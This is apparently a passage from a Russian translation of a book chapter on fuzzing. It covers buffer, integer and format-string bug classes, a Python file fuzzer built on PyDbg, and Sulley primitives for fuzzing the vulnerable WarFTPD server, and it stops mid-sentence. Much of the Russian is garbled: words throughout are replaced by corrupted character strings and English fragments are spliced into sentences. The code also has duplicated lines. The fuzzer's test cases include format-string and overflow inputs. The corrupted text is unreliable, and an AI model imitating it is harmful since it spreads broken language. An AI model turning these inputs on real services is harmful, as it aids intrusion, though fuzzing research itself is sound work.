Сделать это можно с помощью удобной утилиты gflags.exe, которую
Microsoft

предостаey_l бесплатно. Вы можете загрузить ее по
следующему адресу :

http://www.microsoft.com/downloads/details.aspx?Fam
ilyId=49AE8576-
9BB9-4126-9761-BA8011FABF38&displaylang=en .

Immunity также создал библиотеку Gflags и сyaZe ее с PyCommand,
чтобы можно было произh^blv изменения «флагов » из по
отладчика . Сама библиотека поставляется f_kl_ с отладчиком ,
который можно загрузить по следующему адресу :

http://debugger.immunityinc.com/

С точки зрения фаззинга , для того чтобы uyить пер

еполнение буфера ,
нужно просто попытаться передать очень большое количестh данных в
тестируемое приложение , в надежде , что это uahет переполнение.

Далее мы рассмотрим целочисленные переполнения , яeyxsb_ky еще одним
распространенным классом ошибок , которые содержатся в программном
обеспечении .

8.1.2 Integer Overflows

Целочисленное переполнение является интересным классом ошибок . Оно
осноZgh на используемом размере целых чисел , и том , как процессор
обрабатыZ_l арифметические операции над этими числами . Целое число (со
знаком ), размер которого ра_g 2 байтам , может содержать значения от -
32767 до 32767. Цело

численное переполнение происходит при попытке
сохранить значение g_ этого диапазона (т.е . число больше 32767 или
меньше -32767, или другими словами оно не умещается в 2 байта ). В этом
случае процессор отбрасыZ_l биты старшего разряда, чтобы успешно
сохранить значение . На первый a]ey^ это не похоже на большую проблему,
но даZcl_ посмо
трим пример , в котором показано , как целочисленное
переполнение может при_klb к u^_e_gbx слишком маленького места и
hafh`gh , в результате , в будущем при_^_l к переполнению буфера .

MOV EAX, [ESP + 0x8]
LEA EDI, [EAX + 0x24]
PUSH EDI
CALL msvcrt.malloc

ПерZy инструкция берет параметр из стека [ESP + 0x8] и загружает его в
EAX. Следующая инструкция складыZ_l 0x24 c EAX и сохраняет результат
в EDI. Затем мы передаем результат этого сложения в функции u^_e_gby
памяти malloc, в качестве единст_ggh]h параметра, который яey_lky
размером запрашиZ_fhc области памяти для u^_e_gby . Все u]ey^bl
доhevgh безобидно , пра^Z ? Если предположить что в EAX содержится
очень большое чи
сло, которое находится рядом с максимально hafh`guf
значением , то в случае добаe_gby , например , 0x24 произойдет его
переполнение , и в конечном итоге – EAX будет содержать маленькое число .
Посмотрите на Листинг 8-1. На нем можно b^_lv то , что происходило бы,
если бы параметр стека находился под нашим контролем, в момент , когда мы
передали бы в нем (параметре ) большое знач
ение 0xFFFFFFF5.

Listing 8-1: Arithmetic operation on a sign ed integer under our control

Stack Parameter => 0xFFFFFFF5
Arithmetic Operation => 0xFFFFFFF5 + 0x24
Arithmetic Result => 0x100000019 (larger than 32 bits)
Processor Truncates => 0x00000019

Если это произойдет , то malloc u^_ebl только 0x19 байт, которые могли бы
быть намного меньшей частью памяти , чем та, какую разработчик
рассчитыZe u^_eblv . Если в этот небольшой буфер предполагается
сохранить большую порцию данных , то произойдет переполнение буфера .
Для переполнения целого числа с помощью фаззера , мы должны убедиться ,
что передаем как ukhdb_ положительные числа , так и низкие отрицательные
в попытке достигнуть целочисленн

ого переполнения , которое могло бы
при_klb к нежелательному по_^_gbx тестируемого приложения или даже
полного переполнения буфера .

Далее мы перейдем к атакам на форматную строку , которые яeyxlky еще
одним распространенным классом ошибок , в соj_f_gghf программном
обеспечении .

8.1.3 Format String Attacks

Атаки на форматную строку , dexqZxl hafh`ghklv ода данных
( атакую

щим ), которые обрабатыZxlky как спецификаторы в определенных
функциях обработки строк, таких как , например, функция printf языка С .
ДаZcl_ сначала рассмотрим прототип функции printf:

int printf( const char * format, ... );

Перuf параметром яey_lky строка форматироZgby , которую мы будем
объединять с любым числом дополнительных параметров, которые
предстаeyxl собой определенные значения и описыZxlky с помощью
конкретных спецификаторов . Примером этого может быть :

int test = 10000;
printf("We have written %d lines of code so far.", test);


Output:

We have written 10000 lines of code so far.

Парметр %d яey_lky спецификатором . Если криhjmdbc программист ,
забудет положить , какое -либо значение в спецификатор, перед uahом
функции , то u уb^bl_ что -то jh^_ этого :

char* test = "%x";
printf(test);

Output:

5a88c3188

Это сильно отличается от того, что мы b^_eb ранее . Если в строке
передаZ_fhc функции printf, присутстm_l спецификатор , который не связан
с каким -либо аргументом функции, то в качест_ недостающего аргумента
функция printf используются значения из стека! В нашем случае число
0x5a88c3188, которое u b^bl_ , является либо частью каких -то данных
сохраненных в стеке , либо указ
ателем на данные в памяти . Есть дZ наиболее
интересных спецификатора %s и %n. Спецификатор %s гоhjbl строкоhc
функции сканироZlv память на наличие строки до тех пор , пока она не
klj_lbl NULL- байт, указыZxsbc на конец строки . Это удобно либо для
чтения больших объемов данных, либо для того, чтобы узнать , что храниться
по определенному адресу , либо для uahа сбоя в приложении , обратиrbkv
к памяти , запрещенной для чтения . Спецификатор %n уникален в том , что
позhey_l Zf писать данные в память , f_klh их чтения . Это позhey_l
атакую

щему перезаписать адрес haрата или указатель на функцию , что в
любом случае при_^_l к произhevghfm uiheg_gbx кода . С точки зрения
фаззинга , нам нужно просто убедиться , что that t
he test cases we are generating
pass in some of these format specifiers in an attempt to exercise a misused string
function that accepts our format specifier.

Теперь , когда мы рассмотрели наиболее распространенные классы ошибок ,
пришло j_fy приступить к созданию нашего перh]h фаззера . Это будет
простой генерирующий файлоuc фаззер , который сможет мутироZlv в
любой файлоuc формат. Мы также задейстm_f PyDbg для контроля и
отслеживания сбоев в тестируемом программном обеспечении . Вперед!


8.2 File Fuzzer

Уязbfhklb формата фа
йла быстро станоylky _dlhjhf для атак с
клиентской стороны , поэтому , естественно, что мы должны быть
заинтересоZgu в поиске ошибок в парсерах формата файлов . К тому же , нам
нужно иметь hafh`ghklv работать со k_fb различными b^Zfb форматов ,
чтобы получить наибольшую u]h^m , причем не Z`gh , тестируем ли мы
антиbjmkgu_ продукты или программы для чтения текста . Мы также
должны убедиться в том , что у нас подключена некоторая отладочная
функциональность , с помощью которой мы смо

жем поймать информацию о
краше (crash), который, в свою очередь , позhebl определить – нашли ли мы
эксплуатируемую уязbfhklv или нет . Под конец , мы добавим некоторые
hafh`ghklb электронной почты , чтобы у_^hfeylv и посылать Zf
информацию о сбоях (crash) kydbc раз, ка

к они будут происходить . Это

может быть полезно , если у Zk есть несколько фаззеров , работающих с
множестhf целей, и Zf нужно знать , когда можно приступить к
исследоZgbx сбоя . Перuf шагом должно быть создание скелета класса , с
функциональностью простого u[hjZ файлов (случайным образом ), которая
будет заботиться об открытии случайных файлов для мутации . Откройте
ноuc Python файл, назоbl_ его file_fuzzer.py и едит
е следующий код.

file_fuzzer.py

from pydbg import *
from pydbg.defines import *

import utils
import random
import sys
import struct
import threading
import os
import shutil
import time
import getopt

class file_fuzzer:

def __init__(self, exe_path, ext, notify):

self.exe_path = exe_path
self.ext = ext
self.notify_crash = notify
self.orig_file = None
self.mutated_file = None
self.iteration = 0
self.exe_path = exe_path
self.orig_file = None
self.mutated_file = None
self.iteration = 0
self.crash = None
self.send_notify = False
self.pid = None
self.in_accessv_handler = False
self.dbg = None
self.running = False
self.ready = False

# Optional
self.smtpserver = 'mail.nostarch.com'
self.recipients = ['jms@bughunter.ca',]
self.sender = 'jms@bughunter.ca'

self.test_cases = [ "%s%n%s%n%s%n", "\xff", "\x00", "A"
]

def file_picker( self ):

file_list = os.listdir("examples/")
list_length = len(file_list)
file = file_list[random.randint(0, list_length-1)]
shutil.copy("examples\\%s" % file,"test.%s" % self.ext)

return file

Скелет класса , нашего файлоh]h фаззера , определяет глобальные
переменные для отслежиZgby осноghc информации . Функция file_picker
просто использует kljh_ggu_ функции из Python для того, чтобы получить
список файлов в каталоге и случайным образом u[jZlv один из имеющихся
для мутации. Теперь нам нужно сделать некоторую работу : загрузить
тестируемое программное обеспечение ; отследить его сбои (crashers) и
за_jrblv его , ког
да разбор (parsing) документа будет закончен . На перhf
этапе нужно загрузить тестируемое ПО в поток (thread) отладчика и
устаноblv обработчик нарушения доступа (access violation handler). Затем
нужно породить lhjhc поток, чтобы контролироZlv перuc. Это позhebl
lhjhfm потоку , по прошестbb определенного количестZ j_f_gb, убить
перuc. Также будет добаe_gZ функция у_^hfe_gby по email. ДаZcl_
добаbf эти функции в наш класс .

file_fuz

zer.py

...

def fuzz( self ):

while 1:
(#1): if not self.running:

# We first snag a file for mutation
self.test_file = self.file_picker()
(#2): self.mutate_file()

# Start up the debugger thread
(#3): pydbg_thread =
threading.Thread(target=self.start_debugger)
pydbg_thread.setDaemon(0)
pydbg_thread.start()

while self.pid == None:
time.sleep(1)

# Start up the monitoring thread
(#4): monitor_thread =
threading.Thread(target=self.monitor_debugger)

monitor_thread.setDaemon(0)
monitor_thread.start()

self.iteration += 1
else:
time.sleep(1)

# Our primary debugger thread that the application
# runs under
def start_debugger(self):

print "[*] Starting debugger for iteration: %d" %
self.iteration
self.running = True
self.dbg = pydbg()


self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,self.check_acce
ssv)
pid = self.dbg.load(self.exe_path,"test.%s" % self.ext)

self.pid = self.dbg.pid
self.dbg.run()

# Our access violation handler that traps the crash
# information and stores it
def check_accessv(self,dbg):

if dbg.dbg.u.Exception.dwFirstChance:

return DBG_CONTINUE

print "[*] Woot! Handling an access violation!"
self.in_accessv_handler = True
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
self.crash = crash_bin.crash_synopsis()

# Write out the crash informations
crash_fd = open("crashes\\crash-%d" %
self.iteration,"w")
crash_fd.write(self.crash)

# Now back up the files
shutil.copy("test.%s" % self.ext,"crashes\\%d.%s" %
(self.iteration,self.ext))
shutil.copy("examples\\%s" %
self.test_file,"crashes\\%d_orig.%s" %
(self.iteration,self.ext))

self.dbg.terminate_process()
self.in_accessv_handler = False
self.running = False

return DBG_EXCEPTION_NOT_HANDLED

# This is our monitoring function that allows the
application
# to run for a few seconds and then it terminates it
def monitor_debugger(self):

counter = 0

print "[*] Monitor thread for pid: %d waiting." %
self.pid,
while counter < 3:
time.sleep(1)
print counter,
counter += 1

if self.in_accessv_handler != True:
time.sleep(1)
self.dbg.terminate_process()
self.pid = None
self.running = False
else:
print "[*] The access violation handler is doing its
business. Waiting."

while self.running:
time.sleep(1)

# Our emailing routine to ship out crash information
def notify(self):

crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration:
%d\n\nOutput:\n\n %s" % (self.sender, self.iteration,
self.crash)

session = smtplib.SMTP(smtpserver)
session.sendmail(sender, recipients, crash_message)
session.quit()

return

Теперь у нас есть основная логика , позheyxsZy упраeylv приложением h
j_fy фаззинга , поэтому даZcl_ кратко рассмотрим ее функции . На перhf
шаге (#1) нужно убедиться , что фаззинг еще не запущен . Флаг self.running
также будет устаноe_g , если обработчик нарушения прав доступа (access
violation handler) будет занят составлением отчета о сбое (crash). После того
как был u[jZg файл для мутации, он передается в простую функцию
мутации (#2), которую мы в скорее напишем .

После того как функция мутатора отработала , мы запускаем на

ш отладочный

поток (#3) , который просто запускает приложение и передает покалеченный
(mutated) файл в качест_ аргумента командной строки. Затем мы ожидаем в
цикле пока отладочный поток зарегистрирует PID тестируемого приложения.
Как только мы получили PID – запускаем контролирующий поток (#4), чья
работа заключается в уничтожении (kill) приложения по прошестbb
определенного количества времени . После того как контролирующий поток
был запу
щен , мы у_ebqbаем счетчик (count) и поlhjgh oh^bf в наш
осноghc цикл до тех пор , пока не придет j_fy u[jZlv ноuc файл и
начать фаззинг сноZ . Теперь даZcl_ добаbf простую функцию мутации.

file_fuzzer.py

...
def mutate_file( self ):

# Pull the contents of the file into a buffer
fd = open("test.%s" % self.ext, "rb")
stream = fd.read()
fd.close()

# The fuzzing meat and potatoes, really simple
# Take a random test case and apply it to a random
position
# in the file
(#1): test_case =
self.test_cases[random.randint(0,len(self.test_cases)-1)]

(#2): stream_length = len(stream)
rand_offset = random.randint(0, stream_length - 1 )
rand_len = random.randint(1, 1000)

# Now take the test case and repeat it
test_case = test_case * rand_len

# Apply it to the buffer, we are just
# splicing in our fuzz data
(#3): fuzz_file = stream[0:rand_offset]
fuzz_file += str(test_case)
fuzz_file += stream[rand_offset:]

# Write out the file
fd = open("test.%s" % self.ext, "wb")
fd.write( fuzz_file )
fd.close()

return

Это элементарный мутатор . Мы случайным образом u[bjZ_f текст из
глобального списка (#1); затем u[bjZ_f случайно смешение и длину ноuo

данных, которые будут записаны в файл (#2). Затем мы разрезаем файл (#3),
используя смещение и длину, чтобы g_klb в него изменения . Когда мы
закончим и запишем файл, отладочный поток сразу же использует его для
тестироZgby приложения . Теперь даZcl_ добаbf код упраe_gby нашим
фаззером .

file_fuzzer.py

...
def print_usage():

print "[*]"
print "[*] file_fuzzer.py -e -x Extension>"
print "[*]"

sys.exit(0)

if __name__ == "__main__":

print "[*] Generic File Fuzzer."

# This is the path to the document parser
# and the filename extension to use
try:
opts, argo = getopt.getopt(sys.argv[1:],"e:x:n")
except getopt.GetoptError:
print_usage()

exe_path = None
ext = None
notify = False

for o,a in opts:
if o == "-e":
exe_path = a
elif o == "-x":
ext = a
elif o == "-n":
notify = True

if exe_path is not None and ext is not None:
fuzzer = file_fuzzer( exe_path, ext, notify )
fuzzer.fuzz()
else:
print_usage()

Тут мы добаbeb hafh`ghklv обработки параметров командной строки .
Параметр -e это путь к тестируемой программе . Параметр -x яey_lky
расширением файла , которое относится к тестируемому приложения

(например, ".txt", ".pdf", etc). Необязательный параметр -n гоhjbl фаззеру ,
хотим ли мы получать у_^hfe_gby или нет . Теперь даZcl_ протестируем
скрипт .

Лучший способ , который мне пришел в голоm , чтобы протестироZlv на
работоспособность файлоuc фаззер – это испытать его на целеhf
приложении , наблюдая за результатами мутации в дейстbb. Не сущестm_l
лучшего способа протестироZlv фаззинг текстоuo файлов , чем
использоZgb_ Windows Notepad в кач

естве тестоh]h приложения .
Используя этот способ можно b^_lv изменения текста на каждой итерации,
f_klh того чтобы использоZlv для этих целей hex-редактор или утилиту
дhbqgh]h сраg_gby (binary diffing tool). Прежде чем начать , создайте папку
examples и папку crashes, в той же директории из которой u будете
запускать скрипт file_fuzzer.py. После создания каталогов , создайте и
разместите несколько фиктиguo тестоuo файлов в папке exampl
es. Для
запуска фаззера , используйте следующую командную строку :
python file_fuzzer.py -e C:\\WINDOWS\\system32\\notepad.exe -x .tx
t

После чего начнет запускаться Notepad, и u сможете b^_lv, как Zrb
тестоu_ файлы изменяются. Убедиrbkv, что файлы изменяются
соот_lklующим образом , можно aylv файлоuc фаззер и протестироZlv
его на любом другом целеhf приложении . Позhevl_ закончить глаm
некоторыми соображениями касаемыми будущего разblby для этого
фаззера .


8.3 Соображения

Хотя мы создали фаззер, который может найти некоторые багги , при наличии
достаточного j_f_gb, ест

ь ряд hafh`guo улучшений , которые u могли
бы реализоZlv (по желанию ). Думайте об этом как о hafh`ghf домашнем
задании.

8.3.1 Code Coverage

Покрытие кода (code coverage) – это метрика , которая измеряет , сколько
uihegbehkv кода целеhc программы h j_fy ее тестироZgby . Эксперт по
фаззингу Чарли Миллер (Charlie Miller) опытным путем доказал , чт
о
у_ebq_gb_ покрытия кода при_^_l к у_ebq_gbx числа найденных ошибок
[2]. Мы не можем не согласиться с капитанской логикой! Простой способ ,
который u можете использоZlv для измерения покрытия кода , заключается
в том , чтобы использоZlv любой из ur_ упомянутых отладчиков и
устаноblv программные брейкпойнты (soft breakpoints) на k_ функции в

нутрии тестируемого приложения. Простое сохранение счетчика того,
сколько функций попало в каждый тест – даст Zf представление о том ,
насколько эффективен Zr фаззер в рамках тестируемого приложения. Есть
и более сложные примеры , реализации покрытия кода , которые u ijZе
применять к Zr_fm фаззеру.

8.3.2 Automated Static Analysis

АlhfZlbabjhанный статический анализ дhbqguo файлов для нахождения
горячих точек в целеhf коде может быть чрезuqZcgh полезным для
багхантера . Что -то столь же простое , как отслежив

ание k_o uahов
функций , которые обычно не праbevgh используются (например , strcpy) и
мониторинг за их uahами , может дать положительные результаты . Более
продbgmluc статический анализ мог бы помочь в поиске других интересных
участков . Чем больше Zr фаззер знает о тестируемой программе , те
м
больше у него шансов найти ошибки .

Все ur_ – это только некоторые из улучшений, которые можно применить
к созданному файлоhfm фаззеру или любому другому фаззеру , который u
создадите в будущем . Когда будете создаZlv собст_gguc фаззер , очень
Z`gh создать его достаточно расширяемым , чтобы можно было добаeylv
ноmx функциональность в будущем . Вы удиbl_kv , ка
к часто u будете
достаZlv k_ тот же фаззер , в течении долгого j_f_gb , и u будете
благодарить себя за небольшую работу, проделанную над дизайном
фронтэнда , благодаря которому можно легко ghkblv изменения в будущем .
Теперь , когда мы самостоятельно создали простой файлоuc фаззер, пришло
j_fy перейти к использоZgbx Sulley, Python- ориентироZggh]h
фреймhjdZ для фаззинга , созданного Педрамо

м Амини (Pedram Amini) и
Араном Портным (Aaron Portnoy) из TippingPoint. После этого мы перейдем к
фаззеру ioctlizer, написанному мной , который предназначен для нахождения
ошибок в подпрограммах упраe_gby одом -uодом (I/O Control Routines),
которые используются h множестве драйверах Windows.


8.4 Ссылки

[1] An excellent reference book, and one you should definitely add to your
bookshelf, is Mark Dowd, John McDona ld, and Justin Schuh’s The Art of
Software Security Assessment: Iden tifying and Preventing Software
Vulnerabilities (Addison-We sley Professional, 2006)

[2] Charlie gave an excelle nt presentation at CanSecWest 2008 that illustrates the
importance of code coverage when bughunting. See http://cansecwest.com/csw08/

csw08-miller.pdf. This paper was part of a larger body of work Charlie co-
authored. See Ari Takanen, Jared De Mott, and Charlie Miller, Fuzzing for
Software Security Testing and Quality Assurance(Artech House Publishers, 2008)

ГЛАВА 9
Sulley


Sulley , назZgguc в честь большого синего монстра из фильма " Корпорация
монстров " (Monster, Inc.), является мощным фаззинг фреймhjdhf , который
написан на Python. Его разработчиками яeyxlky Pedram Amini и Aaron
Portnoy из TippingPoint. Sulley – больше чем простой фаззер; он постаey_lky
со множестhf hafh`ghkl_c , которые помимо k_]h прочего dexqZxl
информатиgu_ отчеты и kljh_ggmx поддержку aZbfh^_cklия с VMware.
Он также способен перезапускать тестируемое приложение после сбоев ,
таким образом , чт

обы сессия фаззинга могла продолжить поиск ошибок без
останоhd . Короче, Sulley – крутой (badass).

Для генерации данных, Sulley использует блокоuc подход (block-bassed),
тот же самый , что и Dave Aitel использоZe в SPIKE [1], перhf публичном
фаззере использующем этот подход . В подходе , осноZgghf на блоках ,
описыZ_lky общий скелет протокола или формат файла , который u
собрались фаззить , назнач
ая длины и типы данных для полей , которые нужно
про_jblv . После чего , фаззер берет сhc gmlj_ggbc список тест -кейсов и
применяет его различными способами для скелета протокола , который u
создали . Этот подход оказался очень эффектиguf средстhf для поиска
ошибок , потому что фаззер , заранее , получает информацию о строении
протокола , который он фаззит.

Для начала мы рассмотрим необходимые шаги , позheyxsb_ устаноblv и
настроить Sulley.

Затем мы рассмотрим примитиu , которые Sulley
использует для создания описаний протокола . Далее мы перейдем к запуску
фаззинга , перехZlm сетеuo пакетов и построению отчетов информирующих
о сбоях (crash reporting). Нашей целью фаззинга будет WarFTPD, FTP демон,
уязbfuc к переполнению стеку . Фаззеро -писателям и тестерам сhcklенно
барть из_klgmx уя
звимость и про_jblv , находит ли их фаззер ошибки или
нет . В нашем случае , мы будем использоZlv WarFTPD, чтобы показать , как
работает Sulley от начала и до конца . Не стесняйтесь обращаться к
рукоh^klу Sulley [2], в котором Pedram и Aaron дали детальные
инструкции, а также предостаbeb обширную информацию по k_fm
фреймhjdm . ДаZcl_ приступим к фаззингу !


9.1 УстаноdZ

Прежде, че

м мы углубимся в изучение строения Sulley, даZcl_ устаноbf и
запустим его . Я подготоbe zip-архив с исходным кодом Sulley, который
можно загрузить по следующему адресу :

http://www.nostarch.com/ghpython.htm

Как только u загрузите zip-архив , распакуйте его в любую папку . В папке ,
куда u распакоZeb архив , найдите директорию Sulley и скопируйте из нее
папки sulley, utils, и requests в каталог "C:\Python25\Lib\site-packages\". Это
k_ , что требуется для устаноdb ядра Sulley. Однако есть еще несколько
необходимых пакетов, которые мы должны устаноblv .

Перuc необходимый пакет – это WinPcap, который яey_lky стандартной
библиотекой, облегчающей перехZl сет

евых пакетов на Windows
ориентироZgguo машинах . WinPcap используется k_fb b^Zfb сетеuo
инструментов и системами обнаружения lhj`_gby . Эта библиотека
требуется Sulley для записи сетеh]h трафика h j_fy uiheg_gby фаззинга .
Просто загрузите и запустите инсталлер по следующему адресу :

http://www.winpcap.org/inst all/bin/WinPcap_4_0_2.exe


После того , как u устаноbeb WinPcap, нужно устаноblv еще д_
библиотеки : pcapy и impacket, обе поддержиZxlky CORE Security. Pcap
предостаey_l Python интерфейс к ранее устаноe_gghfm WinPacp, а impacket
яey_lky библиотекой, для создания и декодироZgby сетеuo пакетов ,
которая также написана на Python. Для устаноdb pcapy – загрузите и
запустите инсталлер по следующему адресу :

http://oss.coresecurity.com/re po/pcapy-0.
10.5.win32-py2.5.exe

После устаноdb pcapy – загрузите impacket по следующему адресу :

http://oss.coresecurity.com/repo/Impacket-stable.zip


Распакуйте zip-архив в корень диска "C:\", перейдите в директорию impacket
и uihegbl_ следующую команду :

C:\Impacket-stable\Impacket-0.9.6.0> C:\Python25\python.exe
setup.py install

Это устаноbl impacket, после чего u будите полностью готовы к
использоZgbx Sulley.


9.2 Примитивы

Вначале, при u[hj_ тестируемого приложения, нам нужно определить k_
стандартные блоки , которые представляют протокол , который мы
собираемся фаззить. Sulley постаey_lky с большим количестhf подобных

блоков, которые позheyxl быстро создать простые и сложные описания
протокола . Эти блоки назыZxl примитиZfb (primitives). Мы кратко
рассмотрим примитиu , требуемые для полного фаззинга сервера WarFTPD.
После того , как u разберетесь с использоZgb_f основных примитиh\ ,
использоZgb_ других примитиh\ не uahет проблем .

9.2.1 Strings

Строки яeyxlky наиболее распространенными примитиZfb , которые u
будете использоZlv . Строки можно найти поkx^m : имена пользо
Zl_e_c,
IP-адреса , папки и многие другие _sb , которые можно предстаblv b^_
строк . Sulley использует директиm s_string(), чтобы обозначить , что данные ,
которые находятся в примити_ яeyxlky строкой . Осноguf параметром ,
принимаемым директиhc s_string(), яey_lky допустимое значение строки ,
которое будет принято , как обычный од (input) для протокола . Например ,
если бы мы фаззили _kv адрес электронной почты , то мы могли бы
использоZlv следующую запись :

s_string("justin@immunityinc.com")

Она гоhjbl Sulley, что justin@immunityinc.com
яey_lky допустимым
значением , таким образом , будет происходить фаззинг заданной строки, до
тех пор , пока не будут исчерпаны k_ разумные ZjbZpbb. Когда же k_
hafh`gu_ ZjbZpbb будут исчерпаны , Sulley, _jg_lky к использоZgbx
исходного допустимого значения , которое u определили . Некоторые
hafh`gu_ значения , которые Sulley смог сгенерироZlv , используя мой
email, предстаe_gu ниже :

justin@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
justin@%n%n%n%n%n%n.com%d%d%d@immunityinc.comAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA

9.2.2 Delimiters

Разделители яeyxlky не чем иным , как маленькими строками , которые
помогают разделить большие строки на упраey_fu_ части . Применив
директиm s_delim() к используемому нами в предыдущем примере , email-
адресу – получим следующую запись для дальнейшего фаззинга :

s_string("justin")
s_delim("@")
s_string("immunityinc")
s_delim(".",fuzzable=False)
s_string("com")

Вы можете b^_lv , как мы разбили email-адрес на субкомпоненты и сказали
Sulley, что в нашем , конкретном , случае мы не хотим фаззить точку ".", но
хотим фаззить разделитель "@".

9.2.3 Примитиu Static и Random

В Sulley существует hafh`ghklv задания строк – с изменяемыми ,
случайным образом (random) данными и не изменяемыми (static). Чтобы
использоZlv статическую строку , нужно использоZlv директиm s_static(),
как показано ниже :

s_static("Hello,world!")
s_static("\x41\x41\x41")

Для генерации случайных данных переменной длины , используйте директиm
s_random(). Обратите gbfZgb_ на то , что директи_ требуется несколько
дополнительных параметров для того, чтобы Sulley смог определить , как
много данных должно быть сгенерироZgh . Параметр min_length и
max_length определяют минимальную и максимальную длину данных ,
создаZ_fuo на каждой последующей итерации. Так же может быть полезен
дополнительный параметр num_mutations, который опре
деляет, сколько раз
должна изменяться строка , прежде чем _jgmlvky к исходному
( оригинальному ) значению ; по умолчанию этот параметр ра_g 25
итерациям . Пример использоZgby :

s_random("Justin",min_length=6, max_length=256,
num_mutations=10)

В данном примере будут генерироZlvky случайные данные , которые будут
не менее 6 байт и не более 256 байт. Строка будет изменяться 10 раз, до
haращения к перhgZqZevghfm значению "Justin".

9.2.4 Binary Data

В Sulley примитив бинарных данных подобен Ш_cpZjkdhfm ножу . Вы
можете klZлять в него практически любые бинарные данные . Sulley,
успешно распознает их . Это особенно полезно , когда у Zk есть
перехZq_gguc пакет неиз_klgh протокола , а Zf k_]h ли

шь нужно
про_jblv реакцию сер_jZ на полу -сформироZggu_ данные , которые u
отпраey_l_ ему . Для дhbqguo данных используйте директиm s_binary(),
например , так :

s_binary("0x00 \\x41\\x42\\x43 0d 0a 0d 0a")

Все эти форматы будут распознаны соот_lklующим образом и будут
использоZlvky как любая другая строка h j_fy uiheg_gby фаззинга .

9.2.5 Integers

Целые числа поkx^m и используются как в бинарных , так и в текстоuo
протоколах для определения длины данных, предостаe_gby структур
данных и т.п . Sulley поддержиZ_l k_ осноgu_ целочисленные типы
данных (см. Листинг 9-1).

Листинг 9-1: Раз

личные типы целочисленных данных поддержиZ_fu_
Sulley

1 byte – s_byte(), s_char()
2 bytes – s_word(), s_short()
4 bytes – s_dword(), s_long(), s_int()
8 bytes – s_qword(), s_double()

Все целочисленные примитиu принимают Z`gu_ дополнительные
параметры .

 Параметр endian определяет порядок следоZgby байтов, в котором
заданное число должно быть предстаe_gh. Прямой порядок
определяется симhehf ">", обратный "<". По умолчанию устаноe_g
обратный порядок байтов "<".
 Параметр format имеет дZ hafh`guo значения "binary" и "ascii". Он
определяет то , как будет использоZlvky число . Например , число "1" в
ASCII формате , будет предстаe_gh как "\x31" в бинарном формате .
 Параметр signed определяет , будет ли использоZlvky число со знаком
или нет . Он применим только , когда используется параметр format со
значением ascii. Сам параметр предстаey_l собой булеh значение и
по умолчанию ра_g False.
 Параметр full_range определяет , будет ли Sulley проходить по k_f
hafh`guf значениям целочисленного числа , которое u фаззите .
Параметр представляет собой булеh значение и по умолчанию равен
False. Это наиболее интересный флаг из k_o перечисленных .
Используйте этот флаг рассудительно , потому что его использоZgb_
может занять очень продолжительное j_fy , поскольку потребует
прохода через k_ значения целого числа . Sulley достаточно умен ,
чтобы не делать этого, а про_jblv пограничные значен

ия (значения ,
которые лежат рядом или раgu наибольшим или наименьшим
значениям ). Например , если наиukr__ целочисленное значение без
знака может быть раgh 65,535, то Sulley может попробоZlv про_jblv
такие пограничные значения как: 65,534, 65,535, 65,536. По умолчанию
параметр full_range ра_g False, что означает , что u остаey_l_ u[hj

значений за Sulley. И лучше , как праbeh , его остаeylv таким и не
менять.

Ниже даны примеры , некоторых целочисленных примитиh\ :

s_word(0x1234, endian=">", fuzzable=False)
s_dword(0xDEADBEEF, format="ascii", signed=True)

В перhf примере мы устанаeb\Z_f 2-х байтоh_ значение в 0x1234,
зеркально отражая его в прямой порядок следоZgby байтов ">" и остаey_f
его как статическое значение. Во lhjhf примере мы устанаebаем 4-х
байтное DWORD значение в 0xDEADBEEF и делаем его целочисленным
числом в ASCII формате .

9.2.6 Blocks и Groups

Блоки и группы яeyxlky мощным средстhf , которое Sulley предостаey_l
для объединения примитиh\ . Блоки, предназнач
ены для объединения
отдельного набора примитиh\ в структуры. Группы, предназначены для
объединения блоков . Причем , каждое из фаззингоuo значений,
присh_gguo группе , применяется к каждому блоку , oh^ys_fm в нее .

В документации, предлагается следующий пример , фаззинга HTTP, где
используются блоки и группы:

# import all of Sulley's functionality.

from sulley import *
# this request is for fuzzing: {GET,HEAD,POST,TRACE} /index.html
HTTP/1.1
# define a new block named "HTTP BASIC".

s_initialize("HTTP BASIC")

# define a group primitive listing the various HTTP verbs we
wish to fuzz.
s_group("verbs", values=["GET", "HEAD", "POST", "TRACE"])

# define a new block named "body" and associate with the above
group.
if s_block_start("body", group="verbs"):

# break the remainder of the HTTP request into individual
primitives.
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")

s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".")
s_string("1")

# end the request with the mandatory static sequence.
s_static("\r\n\r\n")

# close the open block, the name argument is optional here.
s_block_end("body")

Мы b^bf , что парни из TippingPoint определили группу verbs в которую
oh^yl k_ общие типы запросов HTTP. Затем они определили блок body,
который сyau\Z_lky с группой verbs. Это значит, что каждое значение из
verbs (GET, HEAD, POST, TRACE), будет применено ко k_f мутациям
блока body. Таким образом , Sulley произh^bl тщательный фаззинг
протокола HTTP, задейстhав k_ осноgu_ типы запросов .

Теперь , когда мы рассмотрели осноu , можно перейти к фаззингу с
использоZgb_f Sulley. В Sulley содержится гораздо больше ha

можностей,
чем те , которые были рассмотрены нами, например : кодироsbdb данных
(data encoders), калькуляторы контрольных сумм (checksum calculator),
аlhfZlbq_kdbc подсчет размера данных (automatic data sizes) и др. Для
k_klhjhgg_]h рассмотрения Sulley и материала сyaZggh]h с фаззингом ,
обратитесь к книге , соаlhjhf которой был Pedram, Fuzzing: Brute Force
Vulnerability Discovery (Addison-Wesley, 2007) ( Прим. пер . Есть русский
ZjbZgl «Fuzzing: ИсследоZgb_ уязbfhkl_c методом грубой силы »). Теперь
даZcl_ приступим к фаззингу WarFTPD. Вначале мы создадим наборы
примитиh\ , а за

тем перейдем к созданию сессии, которая будет
от_lklенна за упраe_gb_ тестами .


9.3 Уничтожение WarFTPD с помощью Sulley

Теперь , когда u eZ^__l_ общим предстаe_gb_f того, как создать описание
протокола , используя примитиu Sulley, даZcl_ применим имеющиеся
знания к реальной программе , War
FTPD 1.65. В этой программе имеется
переполнения стека , которое hagbdZ_l при передаче очень больших
значений в командах USER или PASS. Обе эти команды используются для
аутентификации FTP-пользоZl_ey на сер_j_, чтобы он в дальнейшем мог
